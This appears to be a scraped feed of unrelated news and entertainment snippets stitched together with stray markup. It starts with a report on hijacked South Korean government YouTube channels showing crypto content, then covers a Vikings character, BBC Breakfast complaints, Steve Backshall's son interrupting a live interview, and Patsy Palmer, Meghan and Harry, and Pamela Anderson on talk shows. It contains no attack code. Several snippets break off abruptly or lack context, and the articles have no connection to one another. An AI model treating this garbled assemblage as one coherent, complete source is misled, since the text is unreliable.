At 3:30 a.m., the channel's name was switched to "SpaceX Invest," per the Yonhap News Agency. A screenshot posted by the agency appears to show a clip from a June interview Musk gave to Bloomberg News editor-in-chief John Micklethwait during the Qatar Economic Forum.
In the interview, Musk discussed how his Tesla and SpaceX companies had bought bitcoin as a "small percentage" of their cash assets and said his automaker accepts Dogecoin, the cryptocurrency he helped boost by 10% after tweeting about it.
The South Korean government became aware of the breach three hours later and restored its access to the account around 7.20 a.m., the Ministry of Culture, Sports and Tourism said, according to Yonhap.
The agency reported that the YouTube channel's account ID and password were said to have been stolen.
The channel has around 262,000 subscribers and actively posts videos on government policies and current events. It's the third YouTube account run by South Korea's government to have been breached in the last two weeks, Korean daily JoongAng Ilbo's Lee Jian reported.
The identities and motives of those behind the attacks are not immediately known, the paper wrote, citing a statement from the Ministry of Culture, Sports and Tourism.
The Korea Tourism Organization's YouTube channel was breached twice — once on Thursday and once on Friday — and was suspended until Sunday, JoongAng Ilbo reported.
Meanwhile, the YouTube channel of South Korea's National Museum of Modern and Contemporary Art was also hacked on August 29 to stream a video about cryptocurrencies, the outlet wrote. It's not clear if this attack was related to the breach on Sunday.
Google, YouTube's parent company, confirmed the breaches to Yonhap and Joongang Ilbo, saying it would investigate the cause of the attacks. Google did not immediately respond to Insider's request for comment.
https://i.insider.com/631567f3023509001aecd8a5?format=jpeg
]]>
While Vikings was never meant to be faithful to real-life events, many of its characters have a counterpart in Viking kings and mythical warriors.
The life and death of the real Ivan played out differently and probably for the better.
The real Ivar the Boneless was also born with weak bones, a condition called osteogenesis imperfecta, but despite that, was still considered one of the greatest Vikings of all time
As for his death, there are multiple different accounts but seem to point that he did in fact die of disease, which hopefully was less painful than what happened to his TV version.
Vikings season 6, part 2 is available to stream on Amazon Prime Video.
]]>
“Now you just opened this the last time I was there, explain to us what you’ve got in the show,” James asked.
Jim replied: “We do all local produce, we’re supported by a lot of great producers.
“We go to a lot of great restaurants and we sell a lot of their produce in the shop as well.”
“How fantastic is that,” James concluded. “Best of luck with everything, hope to see you again soon.”
James Martin’s Saturday Morning returns on Saturday at 9.30am.
]]>
The BBC has since revealed that the broadcaster was flooded with over 100 complaints from viewers who were unimpressed by Munchetty and Stayt’s comments.
The broadcaster’s most recent complaint report stated: “We received complaints from people unhappy with a comment Charlie Stayt made about the flag in the background of an interview and Naga Munchetty’s subsequent activity on social media.”
A statement from the BBC added: “At the end of a long, serious interview with the Housing, Communities and Local Government Secretary Robert Jennick, Charlie Stays made an off-the-cuff remark about the size of the flag behind Mr Jenrick,” the BBC’s response began.
“It was meant as a light-hearted, off-the-cuff comment and no offence or disrespect was intended.
“Naga and Charlie have been spoken to and reminded of their responsibilities, including the BBC’s impartiality and social media guidelines.”
BBC News Special Lockdown Live: What Next? is available to watch on BBC iPlayer.
]]>
Appearing via video link on Saturday’s BBC Breakfast, Steve Backshall surprised one of his biggest fans, young conservationist Aneeshwar Kunchala, who appeared alongside his dad. Although, when hosts Jon Kay and Rachel Burden were trying to conduct the interview, things took an unexpected turn. As broadcaster Steve spoke with Aneeshwar about his favourite animals, his toddler son got a bit jealous and tried to get his attention. In a bid, to get involved Steve’s son climbed up onto his lap and gatecrashed the interview.
Just as presenter Jon Kay was asking Steve what he thought about Aneeshwar’s passion, Steve’s young son came into shot.
“I think one of the most exciting things, right now – this period in history – is that we’ve got this new wave of young activists and I’ve got one at my feet right now, actually,” Steve explained as he pulled his son on to his lap.
Jon and Rachel laughed as they saw the funny side of the mishap, although, poor Steve stepped in to apologise.
“I’m sorry about that,” he continued. “That wasn’t planned.”
READ MORE:
Andrew Neil’s fury at BBC: ‘Unhappy with how they treated me’
Continuing with the interview, Steve added: “I think YouTube and social media has such a powerful part to play in this new wave of activism.
“He is right at the perfect time, the perfect place and it’s standing up to say, ‘I want to make a difference, I want to make the planet a better place’. It does my heart proud.”
Steve went on to apologise again as his son continued to make noises over the interview.
Jon bowed his head as he tried not to laugh, while Rachel tried to continue with their questions.
She asked: “Aneeshwar, I wonder if there is anything or anywhere that you want Steve Backshall to explore, where would you go if you could go anywhere in the world?”
Aneeshwar asked his hero about the insect Tardigrades, and just as Steve went to answer, his son gatecrashed the interview again.
“I’m covered in children,” Steve laughed. “I’m sorry.”
“Aneeshwar, you probably can’t see what’s happening at the moment,” Jon weighed in.
“But, Steve’s own child is getting jealous of all the attention that he’s showing to you I think.
“It’s basically Steve Backshall, childcare on BBC One right now.”
Taking to Twitter after the segment, viewers luckily saw the funny side of the interview, with many commenting on how adorable Anesshwar is.
One tweeted: “Full credit to Steve, one child on top of him while advising another on Zoom on live TV.”
Another joked: “@SteveBackshall what a fantastic interview on BBC Breakfast inspiring children to be environmentalists while wrangling your own.”
While one added: “Best feature I’ve seen in a long time on BBC Breakfast. When conservative turns into Steve Backshall daycare.”
“Steve Backshaw getting photobombed by his own kid,” another tweeted.
Another quizzed: “Is this interview really going on?”
BBC Breakfast airs daily at 6am on BBC One.
Patsy Palmer was invited to talk to Ben Shephard and Susanna Reid on Good Morning Britain today but the interview came to a sudden end when the EastEnders star saw what was written on the banner displayed below her. The GMB presenters were horrified by the actress response and apologised but Patsy cut off the interview.
Ben asked: “Did you move to Malibu to get away from people shouting ‘Ricky’ at you in the streets?”
“Not really,” Patsy replied. “Not just for that reason, maybe one of them.”
“Well, Patsy do you know what?” Susanna began. “You have done what Meghan and Harry which is get away from the UK, go off to California and set up a new life.
“And I know you’ve spoken about Meghan and Harry as well. I wonder whether you do get more privacy over there?”
Read more: GMB: Edwina Currie slammed for comparing Boris’ shaking hands to Diana
“That’s a terrible shame, our apologies to Patsy and well she’s entitled not to do the interview and we carry on,” Susanna said.
Later on, discussing the interview, Ben quipped: “There’s a link isn’t there? I wasn’t here previously, there’s a common denominator.
“I just want to say the really important thing is our intention was never to upset Patsy Palmer. We were very keen to talk to her, Patsy has talked in the past, she’s talked in her book particularly about her addiction, her stints in rehab and now she has a wellness brand.
“She’s promoting that and it was the journey that she’s been on to get to where she is today, what she’s learnt and that’s what we mistakenly misread.”
“It wasn’t intended as an ambush,” Susanna said and Ben added: “Not for a minute and we do apologise to Patsy.”
GMB viewers shared their support for Patsy on Twitter as one wrote: “Patsy Palmer swerving #gmb is the best thing I’ve seen since Piers did it.”
“Patsy Palmer needs to own her past. It doesn’t define who you are now. Acknowledge what you’ve overcome and own it. Besides it looked like she couldn’t be bothered to do the interview from the start #GMB,” another said.
While a third added: “@GMB I’m absolutely disgusted by your treatment of @patsypalmerx this morning! Handled with true dignity by Patsy. I think GMB’s days are numbered!
Someone else shared: “@patsypalmerx Well Done Patsy, putting GMB in their place! They throw whatever they like on the screen, not caring about the individual, good for you, a new craze has started, Doing a Piers!”
Good Morning Britain airs on ITV on weekdays at 6am.
Elsewhere, Oprah asked: “Were you silent or silenced?” And Meghan replied: “The latter.”
The Duchess of Sussex explained her friends and family were told to give no comment to any members of the press once her relationship with Harry was made public.
She said: “It was only once we were married and everything started to really worsen that I came to understand the not only was I not being protected but that they were willing to lie to protect other members of the family.
“But they weren’t willing to tell the truth to protect me and my husband.”
Oprah With Meghan and Harry is on ITV at 9pm on Monday March 8. You can watch the full interview afterwards on the ITV hub
]]>
Prince Harry has hit headlines overnight following a chat with The Late Late Show host James Corden. During the chat, the royal opened up about his departure from the Royal Family as well as things like Netflix drama The Crown. However, the interview became a topic of discussion between the This Morning presenters given Harry and wife Meghan Markle’s insistence on privacy, with royal expert Camilla Tominey issuing a stark reminder to the pair and fans alike.
Hosts Dermot and Alison were keen to hear Camilla’s thoughts on the move by Prince Harry as he and Meghan are also penned in for a high-profile chat with Oprah Winfrey in the not-so-distant future.
“It’s an interesting rewriting of history,” Camilla began. “If you think of the Megxit statement.”
Camilla then claimed Harry and Meghan’s step into the spotlight is part of their plans to almost dictate how they’re perceived in the press.
“This is about press controls and saying we want publicity but only if it’s favourable to us,” Camilla said.
READ MORE: Royal photographer claims William and Kate ‘friendlier’ than Meghan
She warned: “Whenever there is a story about someone high profile….that’s a two-sided story, you can’t just give one side.
“We know the Queen is saddened and disappointed – you can’t just ignore that side because they claim they were unfairly treated [by the press].”
Delving further into the new interview by Harry, Camilla discussed the dilemma of keeping up a famous profile while aiming for privacy.
Discussing the James Corden interview, Camilla weighed in: “I think he comes across really well,
“But this is Harry as we know and love him, right?” she continued. “There is this sense that maybe in recent months the couple has lost their sense of humour a bit.
“They’ve taken themselves a bit too seriously in some of their earnest endeavours and I have no criticism of them wanting to do charitable work and everything else,
“But there’s been this sense of they’ve been on the fringes thinking that they’re very important without filling it with much substance.”
Camilla went on: “What we see here is the Harry that we know and love, and of course that should be welcomed,
“But at the same time, you cannot simply turn on the tap of publicity just when it suits you.
“When everything’s going well and the headlines are always good and pretend that you exist without any negative headlines either.
“I think that’s a tricky game to play,” the royal expert added.
Camilla then dished out some words of advice for Harry and Meghan if they are to go down the route of acting as “private citizens”.
Loose Women were keen to get the gossip about her fifth marriage from guest Pamela Anderson who was chatting via video link. While guests usually sit in front of a computer or phone screen for interviews, Pamela, 53, shook things up by conducting the interview from her bed. Lying next to Dan and nuzzling into his neck, Pamela insisted they were so in love and Dan was the type of man she would have married if she’d not left home when she was younger.
While Loose Women panellists Stacey Solomon and Nadia Sawalha loved chatting to Pamela, those are home felt awkward about watching.
Many took to Twitter to ask if they had interrupted Dan and Pamela as they snuggled up together.
One viewer posted: “This is so awkward. Did they catch Pam mid sex session or something #LooseWomen.”
Another asked: “#LooseWomen Pamela Anderson is weird. Oh let’s just go on British national tv from my bed. Looks like we’re disturbing lol.”
READ MORE: NCIS original cast: Where is Sasha Alexander now?
“This is very weird… Pamela in bed #LooseWomen,” a third added while another tweeted: “I like Pamela Anderson but this is all just a bit weird #LooseWomen.”
A fifth shared: “Omg this interview I’m cringing so much #LooseWomen.”
Starting the interview, Nadia began: “Pamela, to quote you, you have said in the past ‘in the arms of the man I love is exactly where I should be.’
“I didn’t think we were actually going to see you in the arms of the man you love.”
“So you don’t need the Maldives or Cancun, the best place for a honeymoon is snuggled up in bed,” Nadia continued.
Dan simply replied: “Exactly!” as the panel stared at the couple as they lay in bed.
Later in the interview, Nadia remarked Dan and Pamela were actually staying at a home close to their heart.
“This is actually your grandparents, you bought this house from your grandparents 25 years ago, is that right?” she asked.